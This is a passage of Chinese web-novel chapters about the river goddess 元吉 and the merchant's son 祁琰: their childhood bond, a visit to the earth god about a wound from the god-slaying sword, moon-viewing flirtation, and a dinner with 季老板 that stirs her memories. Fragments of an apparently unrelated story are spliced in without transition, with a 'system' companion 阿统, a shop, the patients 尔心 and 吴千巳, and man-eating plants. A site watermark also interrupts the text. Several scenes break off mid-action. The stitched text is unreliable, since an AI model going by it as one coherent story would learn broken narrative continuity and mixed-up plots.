“唉,不愧是我看中的人,就是如此冰雪聪明。”祁琰伸手拍了拍元吉的头:“不过这些都无需你管的,若这其中牵扯到了你生前的事儿,我再与你详说吧。” 元吉哦了一声,点了点头,随后才发觉两人说话的时候不自觉靠近了许多,她此番已经完全贴在了祁琰的胳膊上了。 元吉忍不住往后退了些,将盖在身上的被子掀开,甚至觉得有些热,她清了清嗓子:“既然没事,那我就回自己房间了。” 祁琰抿嘴笑了笑,眼看着元吉要走,伸手扯着她的裙摆直接将她又扯了回来,双手用力压住,一左一右束缚着,他一副痞样儿,笑道:“哎,急着走做什么呀,难得就我俩,再说说话?” “说什么?我……我也没什么好奇的了,你说的那些朝中之事我都不懂的。”元吉侧过头,小声嘀咕了一句:“你先放开我。” 祁琰瞥了一眼自己压在元吉脸颊双侧的手,笑道:“我也没碰到你,我的事儿是说完了,你与我说说你吧。” “我有什么好说的?以前的事情都不记得了,之后便遇见了你,都认识二十年了,没什么是你不知道的。”元吉说完这句,忍不住伸手推了推祁琰:“哎哎哎,你离我远些,气息都洒在我脸上了,这太不合规矩啦!” 元吉刚推祁琰,便听见祁琰唔了一声,瑟缩着肩膀到:“你碰到我伤口了。” “啊?”元吉立刻凑过来:“我看看!” 祁琰抬头对她扬起一抹得逞的笑容,眼神总是势在必得,他拿准了元吉舍不得自己,于是上前亲了亲她的嘴。 一旁的夜文术回想当初自己差点被闪瞎眼的窘境,又瞧着他如当初自己一般震惊的神色,顿时乐了。 他挺着胸膛拍了拍宣长生的肩膀,颇为自豪道:“大门啊。是不是特别气派。” 晚间,元吉靠坐在床头,瞥了一眼自己的肩膀,抿了抿嘴,笑着将手放在自己的肩头上,轻轻道:“好了,好了……” 噗嗤一声,空荡的房间里竟然就这么突然笑了出来。 元吉恍惚了片刻,骤然想起来自己刚才的举动,立刻摇了摇头,双手捂着脸有些不好意思,脸上浮起了红晕。 祁琰这家伙好好说起话来的时候,声音还是挺好听的。 那几声好了,一直在元吉的脑中徘徊,翻来覆去,怎么也睡不着了。 次日一早,元吉便穿戴好衣服准备出门了。 护卫丁手中拿着包子,正准备敲门让元吉起床吃饭来着,手抬起来还没碰到房门,门就开了。 护卫丁一边嚼着嘴里的包子一边道:“夫人吃饭。” 元吉摆了摆手:“不吃了,我有事出去一趟,对了,祁琰还没起吧?” “大人还没起。” “好,如果我回来的比他早,就别告诉他出去过了。”元吉看了一眼屋外,下起了淅沥沥的小雨。 她从房内拿了一把油纸伞,披着斗篷就要出门。 护卫甲走过来问:“夫人这是要去哪儿啊?” 护卫丁道:“不清楚,应当是去求神拜佛了吧。” 元吉的确是要出门求神拜佛了,今日下雨,她想去找土地神很简单,出了客栈去了个没有人的巷子,元吉收起了伞便顺着雨水一路回到了河中。 自从她与祁琰一起到了这座城,就许久都没有回去过了。 河边有些破旧的石头堆砌的土地庙的庙檐上正在滴水,元吉就盘腿坐在对面,一只手撑着雨伞,另一只手撑着下巴,抿着嘴,皱着眉,一派认真地看着土地神。 “斩神剑?” “是,您听过吗?” “听是听过,那是很久以前的事儿了,说是有一位好皇帝被奸臣祸害,导致朝野变动,民不聊生,然后上天就赐了一把斩神剑给皇家,专门诛杀奸佞用的,你问这个做什么?” 元吉哎呀一声:“那凡人被这斩神剑刺伤还有的救吗?” “没的救。”土地神说得坚定:“斩神剑创下的伤口不论是什么灵丹妙药都无法愈合,必死无疑。” 元吉沉默了片刻,看来的确如祁琰说的那样,他竟然能活下来,当真是个奇迹。 元吉道:“那若有人被斩神剑刺中了两下还活下来了呢?” “不可能,凡人不可能活下来。” “祁琰就活下来了。” “呵!那是因为祁家的小子他根本就不……”土地神话说到一半,天上突然劈落了一道雷电,就在这河边,将小石子儿劈得焦黑。 土地神连忙止住了话,拍了拍心口,吓了他一跳,果然是天机不可泄露,泄露必遭天谴。 “你说……祁家的小子被斩神剑砍伤了?”土地神微微眯起双眼:“你就是为了这个来找我的?想要找到救他的办法?” 元吉点头:“是啊。” “他不是没死嘛你管他那么多?” 元吉顿了顿,稍微低下了些头,放缓了声音,柔柔道:“毕竟是自己看着长大的,也不忍心他受苦啊。” “得了吧!你骗谁呢?你瞧瞧你那少女怀春的样儿,你分明是动情啦!我是不是告诉你不许对凡人动心的?你把我的话当耳边风啊!” “哎呀,爷爷!”元吉将伞靠在肩膀上,双手合十表示求饶:“我叫你爷爷行了吧!我……这……他……” “你别给我说你我他的,那祁家的小子……不行,我得好好教训他!”土地神说完,提着拐杖就要从庙里面走出来。 她按了按隐隐作痛的额角,快速点开商城系统从中兑换出一个普普通通的小院来。 在众人的注视之下,元吉一挥手,地上的废墟瞬间消失,取而代之的是一个富丽堂皇、隐隐透着神秘气息的小院。 齐齐的吸气声在耳畔响起,众人的心再次一颤。 “河神大人平地造房屋,竟如此厉害!” “这小院看起来真豪华,这才配得上我们河神庙的气质啊。” “果然是河神大人,为了自己的信徒不睡地上,竟然变出了一个小院来,真是心善至极啊。” 元吉看着面前雕梁画栋的房屋,又看看它金灿灿与大门不相上下的屋顶,顿觉额角疼得更厉害了些,“阿统,我普普通通的小院,怎么变成这个样子了。” 阿统思索片刻,毅然决然指向底下一行小字。 【注:特殊天赋,会随着环境变化改变自身建筑风格的普普通通的小院。】 元吉:……啧。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第 51 章 第五十一章 第五十一章 食物的香味在院中弥漫开来,蜜色的烤肉冒着滋滋的响声,栾萱几人围坐在火堆旁看着燕枯往上头淋着秘制的酱料默默咽了口唾沫。 不知道是不是错觉,燕枯的手艺越发精湛了。 十一闻着空中的香味,时不时回过头去瞄上两眼,望眼欲穿。但是一想到小师妹的病情,立马又扭过头来摆出一副认真的模样望着元吉。 “河神大人,小师妹的病怎么样了。” 将神识从尔心身上收回,元吉垂眸陷入沉思。 真是奇怪。 祁家原本是京城的大户人家,历代从商,据说他家的店铺当初养活了京城的一条街市。这本是件好事,可天不遂人愿,祁家公子生下来便体弱多病,一岁大的娃娃经历了几场病症,好不容易熬到三岁了,却又是染上了恶疾。 当时祁夫人抱着三岁的祁少爷四处寻医,都说是无药可治,说来也巧,刚好有个穿着黄袍的道士路过,瞥了一眼祁少爷,便说:“此子奇呀!” 道士看见祁少爷就不肯走了,嘴上嘀咕:“瞧这面相,不像是病重,倒像是历劫,恐怕是有仙缘哟。” 祁夫人顿时拉着道士的袍子:“什么仙缘?” 道士瞧了瞧天,又伸手探了探风,随后跺了跺地道:“这不是你家公子的福地,福地往南,夫人应当带着孩子往南走,那日后必定是大富大贵,无忧一生。” 于是,祁家便举家来了吴州。 吴州是晖国的南边,距离京城有近一千多里路,本来也不是祁家最理想的选择,奇怪的是,马车越靠近这处,祁少爷的病情明显好了许多,近了京城,或是远了吴州,都不行。 于是祁家便决定,在吴州定下来了。 生意在京城照样做,不过搬了小部分家产到吴州,也算是有常年在吴州住下来的意思了。 祁少爷自打来了吴州,身体便好了许多,原本走两步都要摔跤,而今是四处上蹿下跳也不累,刚将街市认熟了,便手捧着糖到处乱跑。 元吉第一次碰见祁少爷,就是在他搬到吴州的第三个月,炎炎夏日里的一个傍晚。 吴州环水而居,一条环城河将吴州的七座城池包裹其中,河支分流入城,养活了整个吴州的人,而元吉,便是这环城河的河神。 元吉是新上任的河神,并非一直都在这处,任职三年,刚将吴州四处给摸了个透,便瞧见一个身穿锦衣华服,手上抓着一把丝绢包裹的糖,跳着步子朝城西环城河尾的这座石桥上来的祁少爷。 三岁大的祁少爷长得那叫个水灵啊,一双大眼睛,长睫毛,翘起的粉嘟嘟的嘴,若非他衣着是男子装扮,元吉当真以为自己见了个女娃娃,还是顶好看的那种。 桥上有一块石子儿,祁少爷瞧见河中有鱼,于是踢了石子儿想要逗小鱼,结果自己没站稳摔了一跤,手上的糖全都摔进了河里。 当时元吉在河底瞧见他扁着嘴,大眼睛湿漉漉的,眼看就要哭出来的,一双小手上还割破了好几处,心下顿时一软,于是慢慢浮出水面。 她自觉笑容不错,左右手分别在空中转了一圈,两块一模一样的绢帕包裹着糖,元吉笑问:“可爱的孩子哟,请问你掉的是这块芝麻糖,还是这块杨梅糖,又或者是……” 话音未落,祁少爷就吓到了,奶声奶气地仰天大喊:“娘亲有妖怪!” 孽缘,就此种下。 元吉对着河水梳妆,心想自己长得也不差,怎么就把祁少爷给吓到了。 原以为不会再有见面的机会,谁知道吴州建起了一个新学堂,祁少爷家中住所刚好与学堂隔着一条城中小河,城中小河又较为偏僻,极少有人往这儿走。 祁少爷在自家蛮横惯了,初去学堂自然惹学堂里的学生不满,故而有些年纪稍长些的,下了课后便将祁少爷堵在了这城中小河的木桥旁。 几个男生将祁少爷压在了桥上,又是揪头发又是掐胳膊的。 元吉就眼睁睁瞧着祁少爷那张细皮嫩肉的脸青一块紫一块,心中实在不忍,于是钻到了一旁出了河,抖了抖裙摆,将那几个小毛孩儿从祁少爷的背上揪起来。 三五下将小毛孩儿们解决了之后,元吉拍了拍手,笑呵呵地看着祁少爷,弯下腰时问他:“没事儿吧?” 当时祁少爷睁圆了眼睛,就这么定定地看着她,随后伸出肉肉的小手指向她道:“妖怪!” 元吉双手叉腰,颇为得意:“姐姐可不是妖怪,是河神!” 河神元吉好心目送祁少爷回家,确定他安全时还想着自己以后可得多加提防,别让祁少爷又在自己的地盘受了欺负,毕竟祁少爷长得可爱又水灵,软绵绵的一副好欺负的样子,简直讨人喜欢。 元吉的正义感还未来得及升起,次日便瞧见祁少爷身后带着两个家丁四个护卫一同踏上了上学之路。 有钱人家的孩子就是好! 元吉是没机会再美女救娃娃了,但与祁少爷之间的羁绊却从未停歇。 祁少爷越长越大,十年,从圆滚滚的小肉球长成了俊秀挺拔的少年,穿的还是绫罗绸缎,吃的还是山珍海味,性格却不再软绵绵好欺负了。 不知从何时起,元吉对着一群破小孩儿指着祁少爷喊:“不许欺负他。”逐渐变成了对着祁少爷指着一群小破孩儿喊:“不许欺负他们。” 越长大,越无赖。 祁少爷叫不出来元吉,便想着法儿地激她。 一根金笔砸入河水中,元吉实在拿他没辙,于是浮出水面逗他,双手托着两根笔,笑呵呵问:“俊朗的少年哟,请问你掉的是这根银笔,还是这根铜笔,又或者是……” 话被祁少爷打断,他一伸手,双脚在桥边晃荡,一副小大人模样:“小爷我掉的是金的,还来!” 元吉将笔还给对方,纵身跳到了他身边,与他并肩坐下,逗弄似的伸手揉了揉他的头发,被他躲开。 当时她的身高比对方高些,认识了十年的小孩儿逐渐长大,她却并不真的了解对方,于是开口问他:“你叫什么?” 祁少爷抬起下巴,一副高傲的样子:“叫我少爷不好吗?” 元吉伸手在他的额头上敲了一下:“我又不是你家下人,叫什么少爷呀。” 少年伸手摸了摸额头,垂着下巴眼睛朝她瞥去,而后侧过脸,绯红了耳朵,道:“我叫祁琰。” 元吉不顾他的反对,揉乱了他一头黑发,道:“小祁琰~” 少年拍开了她的手,拿起放在一旁的笔便起身,站起来的时候还带着点儿凶相,未长大的声音道:“不许说我小!” 然后便哒哒跑开了。 元吉笑呵呵地看着那离开的背影,还以为自己这算是捡了个宝,想着祁少爷若是能一直这样不长大,那他在她的记忆里留下的必然全都是美好的画面。 天不遂人愿,祁少爷不随河神的愿。 好好的小少年,就在元吉喊他小祁琰的第二日长歪了。 长相是依旧俊朗的,只会越来越好看,可性格却越来越恶劣,且成了整个吴州都小有名气,绝大部分的同龄人都闻风丧胆的混世魔王。 祁家的生意越做越大,直接打通了吴州与京城的一条商路,虽说吴州四面环山并不太平,很闭塞,但祁家的到来多多少少改变了些许吴州人的生活。 于是祁少爷的一句话,在吴州就等于了圣旨,只要是他想办的事,祁家不论如何都会办到。 他恶劣了会在过年的时候往环城河里放鞭炮,鞭炮放入空桶中,空桶丢入河水里,专门吓那些好不容易被元吉说通搬过来做个邻居的鱼虾蟹。 又或是在元吉故意不理他的时候,带着一帮扛着锄头布袋的下人,走到河边有条有理地规划如何填河。 小小少年越发高大,直至成年那时,个头已经超过元吉一个头了。 元吉每回想发火,叉起腰还得抬着头数落对方,气势降了一截,瞧见对方那俊美的脸,气焰也消了一半,加上祁少爷恶劣的性子,勾起嘴角挑眉笑,元吉自觉转身回到水中。 可只要元吉回到河中,必然听见一些鱼虾蟹对她的抱怨。 这个说自己的窝又被端了,那个说某条小分流又被截了,元吉头疼了许久始终找不到能对付祁少爷的办法,心想自己当初怎么就认识了这么个吃人不吐骨头的混世魔王呢。 结果有消息传来,混世魔王要走了,又是一年秋试,祁少爷要进京赶考了。 当日祁老爷与祁夫人带着家丁仆人五十多,浩浩荡荡地送了祁少爷十里地,让那些同样与祁少爷一起进京赶考的少年们手足无措。 他们粗衣麻布背着一袋子书和一袋子干粮,好些的最多加个书童跟着,祁少爷倒好,可谓是举家往京城走。 元吉就在河中瞧见祁少爷身后扛书的二人,扇风的二人,外带一个随行的厨子和护卫三人。 鱼虾蟹们纷纷赶来,祁少爷往外走一步,他们就欢呼一声。 元吉为了应景,化身少女,跑到城中买了一把鞭炮,就在城外的环城河边放了起来,啪啪的鞭炮声响起,被去而又返的祁少爷逮了个正着。 当时鞭炮还在放,元吉手中拿着一根尚在燃着的香,抬头看向祁少爷,问他:“你怎么回来了啊?” 祁少爷扯着嘴角笑:“你巴不得我走吧?” 鞭炮声太大,元吉扬起声音撒谎毫不脸红:“没有啊,我在提前庆祝你高中!” 祁少爷笑容僵了僵,也不知心里在想什么,突然张开双手将元吉抱在了怀里,元吉的脸全都埋在了他的胸前,短暂拥抱后便分开,祁少爷道:“不许去逗别人家的小孩儿听见了没有?” 元吉讷讷点头:“听见啦。” 心想:你管我呐! 然后祁少爷便走了,好似回来只是为了与元吉告别,走后瞥了一眼自己胸前衣服被香烧穿的一个洞,把这笔账又记在了元吉的头上。 祁少爷走后,元吉平静又安稳地度过了五年。 祁少爷要回来吴州,整个环城河的鱼虾蟹走了大半。 元吉而今想起来祁少爷临走前的那张脸都觉得头皮发麻,据后来搬到环城河中的鱼儿说,他当年瞧见进京赶考的祁少爷在小溪边休息,当时他盯着衣服上被烫出来的一个洞,笑得阴冷,那笑容他一直都忘不了。 元吉背后发寒,抖了抖肩膀,目送那些刚搬来才一个月,听闻了祁少爷的事迹后也匆匆离开的鱼儿。 挥手送别。 夜色渐浓,远处隐隐传来夜虫的吟唱。月光之下,树影婆娑。 将尔心带到屋内,十一和宋青阳便一左一右守在门口,生怕有人打扰到河神大人救治。 望着浑身僵直一脸紧张地尔心,元吉起身松了松胳膊,指尖勾动,火种跳跃两下从指尖滑落到地面,留下一圈火焰。 “不用怕,一会便好了。” 话音刚落,香炉中的白烟袅袅升起,尔心很快便躺在软塌上睡了过去。 火种快速转动,将最后一点缺口封锁上。 元吉抬起眼眸,眼中反射出熊熊燃烧的火焰,正如她所见过的漫天大火一般。 她缓缓伸出手出,指尖却在下一瞬停住了。 熟悉的气息瞬间充斥了整个屋子。 “是它。” 第 52 章 第五十二章 第五十二章 “元吉,原来是这个东西在吸取她的生机。我们快把它取出来吧。” 阿统看着出现在尔心体内淡金色的长角,心中一喜。可扭头看着元吉一脸沉思的模样,不知怎么心底隐隐浮上一丝不安起来。 “元吉怎么了?” 无数的灵光随着元吉将悬于尔心心口的手收回而消散,那只淡金色的长角没有灵力的牵引立马又没入尔心体内藏了起来。 元吉望着自己的指尖出神一瞬,她抬起头,望向阿统的眼神陌生得让它心中猛地一坠。 “元吉……”阿统心中打怵,一时噤声。 护卫甲乙二人已经在门口等了许长时间,根本不知道屋内究竟发生了何事,急得都快要冲进去了,就在两人对上视线,准备杀进去的时候,便听见凉寨主的一声大笑,大门被打开,祁琰率先走了出来。 护卫甲乙两人见祁琰好好的,顿时松了口气,还有些庆幸他们没那么冲动。 李守财看见了祁琰,赶忙走上前:“元老板,如何啊?” 祁琰对着李守财点头,凉寨主道:“李老板,你带了个了不起的人物上山了啊,后生可畏,做生意这方面,你可得跟元老板好好学学。” 李守财朝凉寨主笑了笑,听见这话脸色还有些不好,他知道凉寨主讽刺他呢。 两人见生意已经谈妥,便要下山,凉寨主或许是与祁琰的一番交谈,的确是喜欢他这人,故而下山时还差了两人护送着,免得他们走错了路。 一路到了山脚下,那两人才离去。 祁琰与李守财回城后,便去了鼎丰客栈,一听客栈里的人说,两位夫人出门玩儿去了,有些时间,差不多就要回来了。 于是李守财便与祁琰点了些菜做晚饭,坐在大堂靠窗户的位置等各自的夫人归家。 祁琰晃着扇子,李守财这厢又问了:“元老板究竟与那凉寨主说了什么话?” 祁琰道:“凉寨主这人是山匪,身上江湖气息重,寨中人对他很是敬重,分明粮仓拮据,给门前的狗吃的都是牛骨头,狗吃的尚且如此何况是人?可见他颇讲义气,自然喜欢说真话,、不畏惧他的人,我不过是学着江湖人装出一副不怕死的样子,才与他谈成此事罢了。” 李守财顿了顿,难怪自己昨日去的时候硬气些,凉寨主没怎么为难他,还是元老板会看人。 祁琰话说完,看着外面的眼眸顿时一亮,在茫茫人群中一眼就看见了那人,嘴角牵着笑,也不知该说什么好,眼睛都弯起来了。 人群之中,元吉换了一身妇人打扮,头发悉数盘起来,脸上擦着胭脂,头上戴着金钗首饰,手中拿着手绢,似乎还有些不习惯的样子,旁边的李夫人一个劲儿地劝她。 “妹妹这样好看极了,回去定当能将元老板迷死。” 元吉伸手摸了摸耳朵上挂着的金耳坠,这耳坠上面还镶了宝石,与祁琰给自己的珍珠耳坠完全不同,花样复杂而且很奢华,她总觉得怪。 “我这样儿……真的好看吗?” 李夫人连连点头:“好看好看,你问问我这两个婢女,好不好看?” 那两名婢女掩嘴笑了笑:“元夫人长得标志,不论怎么打扮都好看。” 元吉听见这话睁圆了眼睛,顿时有些信心,胸脯都听起来了,走到客栈里看见祁琰的时候,她又顿时有些泄气似的不敢向前。 尤其是看见祁琰那双笑弯得跟月牙儿似的眼睛。 李夫人将元吉往前推了点儿,对着祁琰道:“元老板瞧瞧,我将你夫人打扮的如何?” 祁琰一手撑着下巴,另一只手晃着扇子,似是认真地打量,眼眸中是掩饰不住的惊喜,嘴角挂着笑道:“好,李夫人眼光独到,让我见到了平日里绝不会见到的夫人。” 元吉听见这话略微皱眉,怎么听着不像夸赞? 李夫人掩嘴笑了起来,刚好饭菜上桌,于是四人便在鼎丰客栈围桌吃了顿饭,李守财与李夫人吃完饭后见天色不早就要告辞,两人坐着轿子回去了。 元吉和祁琰还围着桌子,桌上的菜没撤,祁琰捏着筷子一边戳着盘中的花生米,一边笑眯眯地看着元吉。 元吉被他看得有些不好意思,于是瞪了他一眼:“哎呀!有什么好看的嘛!” “哪儿都好看。”祁琰调侃。 元吉连忙将自己耳朵上的耳坠摘下来:“我就知道李夫人的眼光有问题,买了这么些东西穿都穿戴在身上,怪死了。” 祁琰晃着扇子:“不会啊,我倒是觉得李夫人很有眼光,你之前穿的太素了,不像是个成了亲的人,而今这打扮一瞧就是已为人妇,我俩走出去别人就知道你是我夫人,多好。” 元吉朝他看过去:“假装夫妻而已,你还当真了啊。” “你当我是作假的呢?”祁琰缓缓一笑:“我一直以来可都将你当成我的真夫人了,否则你以为我做什么不随便找个女人假扮呢。” 元吉睁圆了眼睛,伸手指向他:“嘿!当初分明是你说找别人你不放心啊!” “可别人我也不喜欢啊。” “说的好像你多喜欢我似的。”元吉白了他一眼。 祁琰迟迟没说话。 元吉一愣,这话若对方不接那就分外尴尬了。 她慢慢将目光移向祁琰,对方正对她笑着,那笑容有些怪异,总让人觉得不怀好意,可眼神中又有与其极不符合的温柔,看得元吉心中狂跳,恨不得立刻找一处地方躲起来。 “好了别看了。”元吉转身:“我回楼上休息了。” “夫人。”祁琰转了个身靠着桌子,手上晃着扇子,对已经站在楼梯口的元吉道:“今夜月圆,夫人洗漱好了之后,来后院陪为夫赏月如何?” 元吉瞪他:“你有病啊让我陪你赏月,我不要。” 祁琰看她的脸都红了,一路红到了耳朵,顿时觉得分外可爱,于是道:“戌时后院,不见不散。” 元吉没回他的话,直接对他吐舌头做了个鬼脸后,哒哒跑上了楼。 祁琰歪着头咧嘴笑了笑:“真是可爱。” 护卫甲乙丙丁伸手擦了擦额头上的汗,他们还沉浸在李夫人那魔性的审美上,迟迟不能回神过来。 元吉洗漱好了之后就躺在床上准备睡下了,闭上眼睛一刻钟也无法入眠,脑子里一直回想着祁琰说的戌时客栈后院去赏月的事儿。 她从床上爬起来,披了件外衣,小心地推开了自己房间的窗户,朝外面看了一眼。 元吉的这间房间正好对着客栈的后院,客栈的院子里种了几颗果树,桃花开败后,就结了毛茸茸的青色桃子,很小一颗,隐在了绿叶里。 元吉在树下瞧见了祁琰。 他让人从客栈大堂内搬了桌椅到后院,桌上还放了两盘糕点,两盏茶,自己坐在一侧一边用扇子扇风,一边稍微抬头看向头顶的圆月。 元吉也抬头看了一眼,今晚的月亮的确很圆。 她就这么看着祁琰,晚上微风徐徐吹来,倒不显得冷。元吉从房间的果盘里拿了个蜜饯出来,走到窗边朝祁琰丢过去,正好丢在了他的手上。 祁琰抬头朝这边看,元吉道:“我就在这儿陪你赏月吧。” 祁琰将椅子掉了个头,面朝元吉这边,笑着道:“好啊,那你赏月,我赏你。” 元吉单手撑着下巴,眼皮子底下瞄祁琰:“你说你,从什么时候开始学会贫嘴的?说话不着调。” 祁琰抿着嘴似乎是很认真的在想:“大概是我从小过桥的时候,碰到了一个姑娘,那姑娘拍着我的肩膀上让我以后和她混,她罩着我,我混不吝的性子大约是跟她学的。” 元吉扯了扯嘴角,她以前看祁琰可爱的时候的确起过一些调戏心理,言语上把自己摆高一层,却没想到对祁琰的影响这么深。 元吉道:“那姑娘说话没规矩,你不应该学她。” 祁琰笑:“可我偏偏就是喜欢学她,起初是看见她高兴我就高兴,但是后来我瞧见了,从那座桥上过的孩子多着呢,每个那姑娘都认识,我竟然不是独一无二的那个。” 元吉伸手摸了摸头,的确,那会儿新的私塾刚建起来,的确有不少孩子从城中河的桥上路过上学,可爱的也多,元吉到现在还记得其中一两个小孩儿的名字。 只是可惜啊,除了祁琰,没有一个长大了比小时候还好看,没长丑已是不容易了。 祁琰道:“我这个人从小娇惯得很,凡是我的东西,那就只能我独一份,那姑娘坏了我的规矩,我就去找她麻烦,她越生气,我就越开心。” “所以你那段时间经常往我河里扔鞭炮是不是?”元吉皱眉:“你知不知道新搬来的几个邻居都因为你放鞭炮,骂了我好长时间?” “哦。”祁琰挑眉:“刚知道呢。” “恶劣!”元吉哼了一声,直接关上了窗户,抿着嘴还有点儿气。 结果刚关上窗户没多久,窗户就被敲响了,咚一声,过后又是咚一声,她心想莫非祁琰拿石子儿砸她窗户?思量后打开一看,正好一个毛茸茸的绿色小桃子砸在了她脸上,元吉朝底下瞥了一眼。 祁琰将糕点丢到一边,摘了一盘子的青桃,正笑嘻嘻地砸着元吉的窗户。 “一言不合就关窗户了?你的肚量怎么这么小?”祁琰见元吉开窗了,坐在椅子上笑:“想要我对你河里的邻居好有什么难的?你只要把那独一份收回来,只给我不就行了?” 元吉愣了一下,这才听懂了他话中的意思,脸颊顿时红了起来。 “你的肚量怎么这么小?那难道我还不能交个其他朋友了?”元吉一边说,一边忍不住抿着嘴,不让自己笑出来。 “能啊,你找几个可爱的女娃娃当朋友没关系,不找男的就行。”祁琰道。 “为什么男孩儿不行?我当初从那几个小毛孩儿手中把你救起来,也没歧视你是个男孩儿啊。” 祁琰点头:“正因如此,所以是男孩儿才不行呢。” 他晃着扇子,端起茶杯喝了一口,头抬着有点儿酸,于是就这么垂着头道:“倘若他们中有一个如我这般,就因为你多管闲事儿帮了一把,从此喜欢上你了怎么办?你这人素来没有主见,那老土地说什么你信什么,很容易被人拐走的。” 元吉睁圆了眼睛看着他的头顶,在祁琰说完这句后,她抿了抿嘴,一时间不知道如何回,心中狂跳,仿佛下一刻就要从嘴里冲出来了一般。 她的眼神有些躲闪,祁琰又突然说:“今夜的月真好看。” 元吉与他对上视线,他笑弯了眼:“是不是啊,夫人?” 元吉抿嘴,脸颊通红,这一声夫人无比轻柔,喊得她心思烦乱,于是道:“早些休息吧你!” 然后关上了窗户。 糟糕了,土地爷,她怕是真的对这祁家少爷动心了。 想到这吴千巳看着一旁的呆子,陷入纠结之中。 或许,他可以试试。 吴千巳张了张嘴,正想说些什么却发现自己早就被下了禁音咒,一丝声音都发不出来。 吴千巳:……… 于是,他努力挣扎起来想引元吉的注意。 而身侧的杜修远看着自己的死对头像个毛毛虫一样扭动着,顿时傻乐起来。 余光瞥见莫名扭动的一团,元吉神情一顿:……? 第 53 章 第五十三章 第五十三章 元吉定定瞧着吴千巳在那扭动,而后被食人草无情啃上一口,顿时安分下来。 两息后,从食人草口中挣脱的吴千巳继续扭动着,迎接他的依旧是熟悉的血盆大口。 就这样,我扭一下,你啃一口的诡异画面,你来我往之间竟然显得有些和谐。 元吉将发生的事情尽收眼底,一丝狐疑之色从她眼中闪过。 “阿统……”元吉顿了顿,沉声道,“没想到这人瞧着少年老成,还挺有童趣。” 闻言,阿统的一双眼珠子差点瞪出来。 元吉吓得立刻伸手捂住自己,眨了眨眼睛,然后在祁琰眼皮子底下隐身了。 祁琰啧了一声:“哎哟,这还怎么玩儿嘛!” 元吉趁着他看不见自己,连忙要从他胳膊地下钻出去,祁琰自感觉到有人在自己怀里钻,偏偏又看不见,伸手想要抓住对方,也不知道自己抓哪儿了,总之不论抓哪儿元吉都是一通乱叫。 祁琰连忙放手:“好好好,不闹你了,你回去吧。” 空气中传来一声:“流氓!” 祁琰挑眉欣然接受,然后就看见自己房中的凳子被撞倒,元吉哎哟了一声,然后房间门被打开,又嘭得被关上。 站在门外的护卫甲只感觉到了一阵风,什么也没看见,也不知道祁琰房门是如何开又如何关的,伸手挠了挠头。 元吉走后,祁琰这才吐出一口气,以僵硬的姿势慢慢躺在了床上方才元吉躺过的地方,平躺时,心口的白色里衣逐渐被染红。 窗外的天空太阳落山即将入夜,祁琰伸手盖在了自己的脸上,回想起方才那个吻,嘴角忍不住上扬。 只可惜元吉隐身了,否则他就能看见她一定如之前的两次一样,红着脸,那眼神带着就连她自己都不知道的娇羞,让祁琰忍不住想要再逗弄一番。 赴季老板的宴,元吉在路上时就非常紧张。 要去芙蓉镇就得出城,这一路的时间也要一个时辰左右,她上次来到芙蓉镇的时候,正好是花开时节,还赶上了灯会,故而整个芙蓉镇都热闹许多。 现下看来,芙蓉镇便不如之前那般喧闹了,马车停在芙蓉镇的山脚下时,便能看见季老板的人。 那人一眼就认出了祁琰与元吉,连忙带着二人去镇中较为有名的酒楼,正是季老板的产业之一。 站在酒楼门前的时候,元吉挽着祁琰的手有些紧,祁琰低声道:“夫人若再掐,为夫的胳膊可就得肿了。” “我有些紧张。”元吉伸手擦了擦额头上的汗,两人正在上楼。 祁琰道:“看出来了,早知道便不让你来了,你非跟过来。” “我上次见到他,想到了一些以前的事儿,这回若面对面坐着,肯定能想起来更多。”元吉抿了抿嘴:“而且之前不是说他与那舟山南侧的山匪也有关系吗?我这也是帮你。” 祁琰挑眉:“说得这般好听?” 两人互相损了对方几句,正好到了雅间门前,季老板正在里面与谁说话,祁琰与元吉到的时候,里面的交谈才停了下来。 季老板率先看到了祁琰,顿时笑了起来:“想必这位就是元老板吧。” 祁琰领着元吉进去,元吉刚进了雅间,便听见一名年轻男子道:“啊……原来是你。” 元吉与祁琰同时朝那人看去,果不其然,是季老板的儿子,正是那日花灯时,与元吉猜灯谜的书生。 “哦?你与元老板夫妇认识?”季老板也觉得新奇。 “有过一面之缘。”祁琰领着元吉坐在了桌边,自始至终元吉都不敢朝季老板看去。 祁琰这厢正与季老板说话,谈的无非是给陈县令按月租房屋的事情,季老板与贾老板不同,他比较会做人,在祁琰面前没说祁琰如此做不对,反而夸祁琰有经商的头脑。 实际上,他也对这初入吴州便能拿捏各路消息,将陈县令也不放在眼里的元老板很是好奇,这才有这顿饭局。 元吉端着茶杯,深吸一口气,没忍住朝季老板看了一眼。 那人的嘴上还有胡子,笑起来的时候眼角有些细纹,这回元吉看清楚了一点,这人的眉尾有一颗痣,这颗痣让元吉分外熟悉,耳畔顿时响起了声音。 先是水流声,再是蝉鸣。 在元吉的记忆中,季老板那时候比现在年轻许多,至少年轻了有二十岁,他的怀中抱着一团被布包裹的东西,不知道究竟是什么,总之季老板的神色很不对劲,似乎在慌张恐惧。 他张嘴说:“银子呢?没有银子,我不能交给你。” 什么东西要交给谁? 元吉只感觉头皮发麻,她看到这一切的时候,离得并不近,眼前还有树叶晃过,这一切好似是发生在了一片林子里。 有些熟悉,但是究竟是哪儿? 季老板察觉到了元吉的视线,脸上有些尴尬,笑了笑:“莫非我脸上有什么东西,叫元夫人如此看我?” 祁琰的手在桌子底下稍微用力捏了一下元吉,元吉这才清醒过来,她的脸几乎憋得通红,立刻就垂下头去,张嘴呼吸,让自己看上去并非喘气那么严重。 她的心脏有些疼,脑海中想要努力忆起那一切,可只要没看见这人,记忆很快就在脑中消失了。 她闭上眼睛,让自己平息下来。 “我夫人前两日感染了风寒,本来是不宜出门的,不过我见她今日好了许多,便想将她带过来透透气,不过现在看来,身体还是不太好。”祁琰说完,从怀中拿出了丝帕给元吉擦了擦脸。 “原来是这样,难怪我见元夫人精神恍惚。”季老板垂着眼眸,总觉得这女人有些眼熟,可却想不起来究竟在哪儿见过。 “元老板与元夫人是京城人士?”季老板问。 祁琰道:“我是京城人士,我夫人是卞州的,正好在吴州旁边。” “哦,原来如此。”季老板笑了笑。 这一餐饭总之吃的元吉心不在焉,祁琰见元吉这样,也懒得与季老板周旋了,一餐饭结束之后,他便拱手告辞。 出了酒楼,祁琰便说:“你刚才怎么回事?一直盯着季老板看,不知道的人还以为你看上人家了呢。” 元吉总在回忆自己究竟漏了什么,想了许久之后才猛地惊醒。 她立刻抬起头震惊地看向祁琰,张了张嘴道:“我记起来这季老板了!” “上马车再说。”祁琰拉着她。 